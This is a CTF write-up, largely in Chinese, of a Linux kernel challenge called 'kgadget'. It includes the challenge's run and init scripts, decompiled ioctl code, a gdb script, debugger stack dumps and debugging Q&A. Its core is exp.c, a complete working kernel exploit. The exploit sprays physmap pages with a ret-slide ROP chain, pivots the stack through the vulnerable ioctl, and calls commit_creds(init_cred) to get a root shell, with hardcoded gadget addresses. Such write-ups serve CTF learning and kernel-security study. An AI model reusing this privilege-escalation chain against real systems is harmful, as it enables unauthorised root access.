PART I

unpack

1
2
3
4
5
6
7
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/try$ tar -xvf ./kgadget.tar.xz
bzImage
README.md
rootfs.cpio
run.sh
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/try$ ls
README.md bzImage kgadget.tar.xz rootfs.cpio run.sh
1
2
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
  • md core && cd ./core && cpio -idv < ../rootfs.cpio

run.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot

runable

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=0" \
-no-reboot \
-s

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
chown -R 0:0 /
mount -t tmpfs tmpfs /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

chown 0:0 /flag
chmod 400 /flag
chmod 777 /tmp

insmod kgadget.ko
chmod 777 /dev/kgadget

cat /root/banner
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 0 sh
poweroff -d 0 -f

vmlinux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ vmlinux-to-elf ./bzImage ./vmlx
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given r)
[+] Version string: Linux version 5.10.112 (arttnba3@ubuntu) (gcc (Ubuntu 8.5.0-0ubuntu2
[+] Guessed architecture: x86_64 successfully in 4.26 seconds
[+] Found kallsyms_token_table at file offset 0x01583ad0
[+] Found kallsyms_token_index at file offset 0x01583e90
[+] Found kallsyms_markers at file offset 0x01583280
[+] Found kallsyms_names at file offset 0x013d17d0
[+] Found kallsyms_num_syms at file offset 0x013d17c8
[i] Negative offsets overall: 99.7318 %
[i] Null addresses overall: 0.00147342 %
[+] Found kallsyms_offsets at file offset 0x0134ced0
[+] Successfully wrote the new ELF kernel to ./vmlinux
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ ls
README.md bzImage core exp.sh kgadget.tar.xz rootfs.cpio run.sh try vmlinux
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ fileplus vmlinux
┌──────────────────────────────────────┐
│ 📁 文件分析报告 │
└──────────────────────────────────────┘

◼ 基本信息
文件名: vmlinux
文件类型: ELF 64-bit LSB executable
其他信息: x86-64
其他信息: version 1 (SYSV)
其他信息: statically linked
其他信息: BuildID[sha1]=92c6aaecae9fb4a1df3c95b8e507bec5ff370206
符号信息: not stripped

◼ 文件属性
文件大小: 41M
权限信息: -rwxrwxrwx (777)
所有者: loo:loo
修改时间: 2025-06-20 13:08:14.605962500 +0800
访问时间: 2025-06-20 13:08:14.605962500 +0800
创建时间: -

──────────────────────────────────────

pack

exp.sh

1
2
3
4
5
6
7
8
#!/bin/sh
cd ./core
gcc -g -o pwwn pwwn.c ~/pwnlib.c -I ~ -static -masm=intel
echo hhh
find . | cpio -ov -H newc > ../rootfs.cpio
cd ..
sleep 1
./run.sh

PART II

Vulnerability Analysis

  • nokaslr & pti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core$ checksec ./kgadget.ko
[*] '/home/loo/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core/kgadget.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core$ fileplus ./kgadget.ko
┌──────────────────────────────────────┐
│ 📁 文件分析报告 │
└──────────────────────────────────────┘

◼ 基本信息
文件名: ./kgadget.ko
文件类型: ELF 64-bit LSB relocatable
其他信息: x86-64
其他信息: version 1 (SYSV)
其他信息: BuildID[sha1]=909b04e23450cdf5e7f5fe6b3a965c120a814ab0
其他信息: with debug_info
符号信息: not stripped

──────────────────────────────────────
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
{
void (__fastcall **v3)(void *, _QWORD); // rdx
void (__fastcall *v4)(void *, _QWORD); // rbx
void (__fastcall *v5)(void *, _QWORD); // rsi

_fentry__();
if ( cmd == 0x1BF52 )
{
v4 = *v3;
v5 = *v3;
printk(&unk_370);
printk(&unk_3A0);
qmemcpy(((&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168), "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3", 48);
*((&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;
printk(&unk_3F8);
v4(&unk_3F8, v5); // add rsp,0xXXXXX;
return 0LL;
}
else
{
printk(&unk_420);
return -1LL;
}
}

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include "pwnlib.h"

int fd = 0;
size_t cmd = (size_t)0x1BF52;
size_t add_ = (size_t)0xFFFFFFFF810737FE;
size_t pop_rsp_ret = (size_t)0xffffffff811483d0;
size_t pop_rdi_ret = (size_t)0xffffffff810dbb2c;
size_t init_cred_ = (size_t)0xffffffff82a6b700;
size_t commit_creds_ = (size_t)0xffffffff810c92e0;
size_t guess_addr = (size_t)0xffff88800a000000;
size_t ret_ = (size_t)0xffffffff8107380b;
size_t srrartu = (size_t)0xffffffff81c00fb0;

void run_func(size_t ptr){
ioctl(fd,cmd,ptr);
}

void init_func(){
save();
fd = open("/dev/kgadget",O_RDWR);
if (fd < 0){error("can't open /dev/kgadget");}
}

#define size1 (size_t)0x1000
#define num (size_t)0xa000

void main(){
init_func();
size_t* tmp_buf;
for(int i=0;i<num;i++){
tmp_buf = (size_t*)mmap(NULL,size1,7,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
for(int j=0;j<(int)(size1/8);j++){
tmp_buf[j] = add_;
}
if(i==(num-1)){
int j;
for(j=0;j<((int)(size1/8)-0x10);j++){
tmp_buf[j] = ret_;
}
tmp_buf[j++] = pop_rdi_ret;
tmp_buf[j++] = init_cred_;
tmp_buf[j++] = commit_creds_;
tmp_buf[j++] = srrartu+27;
tmp_buf[j++] = 0;
tmp_buf[j++] = 0;
tmp_buf[j++] = (size_t)getshell;
tmp_buf[j++] = user_cs;
tmp_buf[j++] = user_rflags;
tmp_buf[j++] = user_sp;
tmp_buf[j++] = user_ss;
}
}
__asm__(
"mov r9,pop_rsp_ret;"
"mov r8,guess_addr;"
"mov rdi,fd;"
"mov rsi,cmd;"
"mov rdx,guess_addr;"
"mov rax,0x10;"
"syscall"
);
//run_func(guess_addr);
underline("end form main");
}

gdb.sh

1
2
3
4
5
6
7
8
9
10
target remote localhost:1234

add-symbol-file ./vmlinux
add-symbol-file ./core/pwwn
add-symbol-file ./core/kgadget.ko 0xffffffffc0002000

# (*ptr)()
#b *0x000000000000019A+0xffffffffc0002000
b *0x11C+0xffffffffc0002000
c

PART III

Q(A)

Q&A
vmmap看的关于kernel内存布局不清楚,有没有好办法呢
结合内存图看会好一点

Q&A

1
2
3
4
5
6
26 #define try_num         (size_t)0xa000
27
28 void main(){
29 __asm__(
30 "mov rdi,try_num;"
31 );
1
2
3
4
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ ./allinone.sh
/usr/bin/ld: /tmp/ccL3oNtR.o: in function `main':
/home/loo/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core/pwwn.c:29: undefined reference to `try_num'
collect2: error: ld returned 1 exit status

runnable

1
2
3
4
5
6
26 size_t try_num          = (size_t)0xa000;
27
28 void main(){
29 __asm__(
30 "mov rdi,try_num;"
31 );

Q
malloc替代mmap打不通,看到映射成功也不行
malloc

  • malloc无法执行到ret滑梯
  • 动调🤢🤢🤢
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1d00:e800│  0xffff88800eaeb700 —▸ 0xffffffff810737fe (can_optimize+398) ◂— add rsp, kgadget_ioctl+100
... ↓ 11 skipped
1d0c:e860│ 0xffff88800eaeb760 ◂— 0
1d0d:e868│ 0xffff88800eaeb768 ◂— 0x1011
1d0e:e870│ 0xffff88800eaeb770 —▸ 0xffffffff8107380b (can_optimize+411) ◂— ret
... ↓ 241 skipped
pwndbg>
1e00:f000│ 0xffff88800eaebf00 —▸ 0xffffffff8107380b (can_optimize+411) ◂— ret
... ↓ 253 skipped
1efe:f7f0│ 0xffff88800eaec6f0 —▸ 0xffffffff810dbb2c (hrtick_start_fair+156) ◂— pop rdi
1eff:f7f8│ 0xffff88800eaec6f8 —▸ 0xffffffff82a6b700 (init_cred) ◂— 4
pwndbg>
1f00:f800│ 0xffff88800eaec700 —▸ 0xffffffff810c92e0 (commit_creds) ◂— nop dword ptr [rax + rax]
1f01:f808│ 0xffff88800eaec708 —▸ 0xffffffff81c00fcb (swapgs_restore_regs_and_return_to_usermode+27) ◂— mov rdi, rsp
1f02:f810│ 0xffff88800eaec710 ◂— 0
1f03:f818│ 0xffff88800eaec718 ◂— 0
1f04:f820│ 0xffff88800eaec720 ◂— 0x401bfa (getshell)
1f05:f828│ 0xffff88800eaec728 ◂— 0x33 /* '3' */
1f06:f830│ 0xffff88800eaec730 ◂— 0x206
1f07:f838│ 0xffff88800eaec738 ◂— 0x7ffebff3fa40
1f08:f840│ 0xffff88800eaec740 ◂— 0x2b /* '+' */
1f09:f848│ 0xffff88800eaec748 —▸ 0xffffffff810737fe (can_optimize+398) ◂— add rsp, kgadget_ioctl+100

mmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
68:0340│  0xffff88800ea9df40 —▸ 0xffffffff810738a3 (setup_detour_execution+67) ◂— ret
... ↓ 7 skipped
pwndbg>


70:0380│ 0xffff88800ea9df80 —▸ 0xffffffff810dbb2c (hrtick_start_fair+156) ◂— pop rdi
71:0388│ 0xffff88800ea9df88 —▸ 0xffffffff82a6b700 (init_cred) ◂— 4
72:0390│ 0xffff88800ea9df90 —▸ 0xffffffff810c92e0 (commit_creds) ◂— nop dword ptr [rax + rax]
73:0398│ 0xffff88800ea9df98 —▸ 0xffffffff81c00fcb (swapgs_restore_regs_and_return_to_usermode+27) ◂— mov rdi, rsp
74:03a0│ 0xffff88800ea9dfa0 ◂— 0
75:03a8│ 0xffff88800ea9dfa8 ◂— 0
76:03b0│ 0xffff88800ea9dfb0 ◂— 0x401c15 (getshell)
77:03b8│ 0xffff88800ea9dfb8 ◂— 0x33 /* '3' */
pwndbg>

78:03c0│ 0xffff88800ea9dfc0 ◂— 0x206
79:03c8│ 0xffff88800ea9dfc8 ◂— 0x7ffedce806d0
7a:03d0│ 0xffff88800ea9dfd0 ◂— 0x2b /* '+' */

op

  • ROPgadget --bianry ./vmlinux --opcode 4881C4A0000000 | grep 4881C4A0000000
  • vmlinux-to-elf ./bzImage ./vmlinux
  • cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep ioctl

参考